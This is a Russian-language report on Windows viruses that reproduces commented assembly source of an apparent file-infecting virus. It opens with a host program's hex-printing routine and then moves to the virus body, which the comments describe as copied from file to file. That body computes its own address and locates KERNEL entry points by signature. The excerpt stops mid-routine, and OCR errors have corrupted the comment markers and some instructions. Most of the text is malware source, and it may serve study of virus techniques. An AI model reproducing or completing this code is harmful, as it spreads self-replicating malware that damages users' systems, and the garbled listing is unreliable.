Доклад: Вирусы под Windows
Процедура перевода двойного слова в ASCII-формат для печати.
;3начение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc
.Сохраним младшее слово из стека
push eax
; Загрузим старшее слово в регистр АХ
shr eax, 16
[Переведем старшее слово в ASCII-формат
call HexWrite-16
[Восстановим младшее слово из стека
pop eax
[Переведем младшее слово в ASCII-формат
call HexWrite-16
ret
HexWrite32 endp
[Сделаем процедуру WndProc доступной извне
public WndProc
ends
[Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg
vstart:
;Вычислим текущий адрес
call recalc
recalc:
pop ebp
mov eax.ebp
db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке
push eax
[Вычислим стартовый адрес вирусного кода
sub ebp.offset recalc
.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
.Сохраним адрес KERNEL
mov [ebp+offset kern].eax
eld